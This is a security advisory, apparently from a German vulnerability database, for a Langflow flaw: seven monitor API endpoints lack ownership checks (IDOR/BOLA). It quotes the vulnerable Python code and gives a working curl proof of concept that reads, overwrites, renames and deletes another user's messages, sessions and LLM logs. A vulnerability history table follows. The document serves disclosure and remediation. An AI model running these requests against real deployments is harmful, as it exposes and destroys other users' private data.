Hoch

Langflow: IDOR/BOLA in Monitor API — Missing Ownership Enforcement on 7 Endpoints

  • Veröffentlicht: 16.06.2026
  • Aktualisiert: 11.10.2026 14:18

Summary

Langflow's /api/v1/monitor router exposes 7 endpoints that perform read, write, and delete operations on user-owned resources — messages, sessions, build artifacts, and LLM transaction logs — without verifying that the authenticated requester owns the targeted resource. Any authenticated user can read, modify, rename, or permanently delete another user's data by supplying the target's resource ID or flow_id. This is a classic IDOR/BOLA vulnerability. Notably, the same source file (monitor.py) contains one correctly-implemented endpoint that uses an ownership check, demonstrating the correct pattern was known but inconsistently applied.

Details

Source file: src/backend/base/langflow/api/v1/monitor.py

The correct pattern (used only in GET /monitor/messages, lines 77–80):

python
stmt = select(MessageTable)
stmt = stmt.join(Flow, MessageTable.flow_id == Flow.id)
stmt = stmt.where(Flow.user_id == current_user.id)  # ownership enforced

All 7 vulnerable endpoints are missing this guard:

1. GET /api/v1/monitor/builds (lines 27–33) — reads build data for any flow_id:

python
@router.get("/builds", dependencies=[Depends(get_current_active_user)])
async def get_vertex_builds(flow_id: Annotated[UUID, Query()], session: DbSession):
    vertex_builds = await get_vertex_builds_by_flow_id(session, flow_id)  # no ownership check
    return VertexBuildMapModel.from_list_of_dicts(vertex_builds)

2. DELETE /api/v1/monitor/messages (lines 102–107) — deletes any message by UUID:

python
@router.delete("/messages", status_code=204, dependencies=[Depends(get_current_active_user)])
async def delete_messages(message_ids: list[UUID], session: DbSession):
    await session.exec(delete(MessageTable).where(MessageTable.id.in_(message_ids)))
    # message_ids accepted verbatim, no ownership check

3. PUT /api/v1/monitor/messages/{message_id} (lines 110–134) — overwrites any message:

python
db_message = await session.get(MessageTable, message_id)
# no check: db_message.flow_id → Flow.user_id == current_user.id
db_message.sqlmodel_update(message_dict)

4. PATCH /api/v1/monitor/messages/session/{old_session_id} (lines 137–171) — renames any session:

python
stmt = select(MessageTable).where(MessageTable.session_id == old_session_id)
# no JOIN to Flow, no WHERE Flow.user_id == current_user.id

5. DELETE /api/v1/monitor/messages/session/{session_id} (lines 174–188) — bulk-deletes any session:

python
await session.exec(
    delete(MessageTable).where(col(MessageTable.session_id) == session_id)
    # no ownership filter
)

6. GET /api/v1/monitor/transactions (lines 191–211) — reads LLM prompt/response logs for any flow_id:

python
stmt = select(TransactionTable).where(TransactionTable.flow_id == flow_id)
# no JOIN to Flow, no WHERE Flow.user_id == current_user.id

7. DELETE /api/v1/monitor/builds — deletes build records for any flow_id: Shares the same root cause as endpoint #1 (GET /builds): flow_id is accepted as a bare query parameter and passed to the deletion path without a WHERE Flow.user_id == current_user.id ownership check, so any authenticated user can destroy another user's build artifacts.

PoC

Tested on Langflow v1.7.3 (langflowai/langflow:1.7.3) with two accounts: langflow (victim) and attacker_test (attacker).

bash
# Setup: authenticate both users
TOKEN=$(curl -s -X POST http://localhost:7860/api/v1/login \
  -d "username=langflow&password=langflow" \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")

ATTKR=$(curl -s -X POST http://localhost:7860/api/v1/login \
  -d "username=attacker_test&password=Attacker123" \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")

# Victim creates a flow (attacker only needs to know the flow_id — obtainable via brute force or enumeration)
FLOW_ID=$(curl -s -X POST http://localhost:7860/api/v1/flows/ \
  -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
  -d '{"name":"victim-flow","data":{"nodes":[],"edges":[]}}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")

# PoC 1: Read victim's LLM transaction logs (prompts + model responses)
curl -s "http://localhost:7860/api/v1/monitor/transactions?flow_id=$FLOW_ID" \
  -H "Authorization: Bearer $ATTKR"
# HTTP 200 — full transaction log returned including user prompts and model responses

# PoC 2: Read victim's build data
curl -s "http://localhost:7860/api/v1/monitor/builds?flow_id=$FLOW_ID" \
  -H "Authorization: Bearer $ATTKR"
# HTTP 200

# PoC 3: Delete victim's message (MESSAGE_ID obtained from transaction log above)
curl -s -X DELETE "http://localhost:7860/api/v1/monitor/messages" \
  -H "Authorization: Bearer $ATTKR" -H "Content-Type: application/json" \
  -d '["<victim_message_id>"]'
# HTTP 204 — message deleted

# PoC 4: Tamper with victim's message content
curl -s -X PUT "http://localhost:7860/api/v1/monitor/messages/<victim_message_id>" \
  -H "Authorization: Bearer $ATTKR" -H "Content-Type: application/json" \
  -d '{"text":"TAMPERED BY ATTACKER"}'
# HTTP 200 — message overwritten, "edit":true set

# PoC 5: Rename victim's session
curl -s -X PATCH \
  "http://localhost:7860/api/v1/monitor/messages/session/victim-session-1?new_session_id=attacker-controlled" \
  -H "Authorization: Bearer $ATTKR"
# HTTP 200 — session renamed

# PoC 6: Bulk-delete victim's entire session
curl -s -X DELETE \
  "http://localhost:7860/api/v1/monitor/messages/session/victim-session-2" \
  -H "Authorization: Bearer $ATTKR"
# HTTP 204 — entire session deleted

All 6 demonstrated attack vectors confirmed (the 7th, DELETE /builds, shares the GET /builds root cause and was not separately scripted). After attacker operations: victim's message text read "TAMPERED BY ATTACKER", session renamed to attacker-controlled name, second session completely deleted.

Impact

This vulnerability affects any Langflow deployment with multiple users (team instances, SaaS deployments, enterprise self-hosted).

Confidentiality: GET /transactions exposes the full LLM conversation history — user-submitted prompts and model responses — for any flow by flow_id. In healthcare, legal, financial, or HR deployments this directly exposes sensitive and potentially regulated data (HIPAA, GDPR). GET /builds exposes internal workflow execution state.

Integrity: PUT /messages/{id} allows rewriting any stored message, corrupting chat history, audit trails, and RAG-indexed memory. PATCH /messages/session/{id} allows renaming sessions, breaking session continuity and potentially injecting victim context into attacker-controlled namespaces.

Availability: DELETE /messages and DELETE /messages/session/{id} enable permanent, irreversible destruction of another user's conversation history and LLM logs. No recovery mechanism exists once data is deleted.

Any registered user account (including self-registered accounts if registration is open) has unrestricted cross-user access to all 6 operations against any other user's data.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) langflow < 1.9.0 1.9.0

Verweise

CVSS-Wert 8.8/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Schwäche (CWE)
CWE-639
Plattform
Python (PyPI)
Paket
langflow
Veröffentlicht
16.06.2026
Aktualisiert
11.10.2026 14:18

Quellen und Lizenzen

OSV / GitHub Advisory Database - PYSEC-2026-242 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-9c59-2mvc-vfr8 - CC BY 4.0

Schwachstellenhistorie: langflow

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (42) im Archiv
Einträge insgesamt
42
Erste → letzte
06.2024 10.2026
Ohne Fix
7
In Angriffen ausgenutzt
5

Verteilung nach Schweregrad

  • Kritisch 15
  • Hoch 17
  • Mittel 7
  • Niedrig 3

Veröffentlichungen pro Jahr

  1. 2024: 4
  2. 2025: 5
  3. 2026: 33
Schweregrad:
  1. Kritisch · 9.1 CVE-2026-9205 < 1.10.1 1.10.1
  2. Kritisch · 9.8 CVE-2026-8505 >= 1.7.0, < 1.9.1 1.9.1
  3. Hoch · 8.8 CVE-2026-7700 >= 1.3.0, < 1.10.3 1.10.3
  4. Kritisch · 9.6 CVE-2026-48519 < 1.9.2 1.9.2
  5. Langflow: IDOR/BOLA in Monitor API — Missing Ownership Enforcement on 7 Endpoints dieser Eintrag
    Hoch · 8.8 CVE-2026-33760 < 1.9.0 1.9.0
  6. Kritisch · 9.6 CVE-2026-42048 < 1.9.0 1.9.0
  7. Hoch · 7.5 CVE-2026-33484 >= 1.0.0, < 1.9.0 1.9.0
  8. Kritisch · 9.9 CVE-2026-33309 >= 1.2.0, < 1.9.0 1.9.0
  9. Kritisch · 9.8 In Angriffen ausgenutzt CVE-2026-33017 < 1.9.0 1.9.0
  10. Kritisch · 9.8 CVE-2026-27966 <= 1.8.0rc2 keine Korrektur
  11. Hoch In Angriffen ausgenutzt CVE-2026-0770 <= 1.7.3 keine Korrektur
  12. Hoch · 7.7 CVE-2025-68477 < 1.7.1 1.7.1
  13. Hoch · 7.1 CVE-2025-68478 < 1.7.1 1.7.1
  14. Kritisch In Angriffen ausgenutzt CVE-2025-3248 < 1.3.0 1.3.0

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.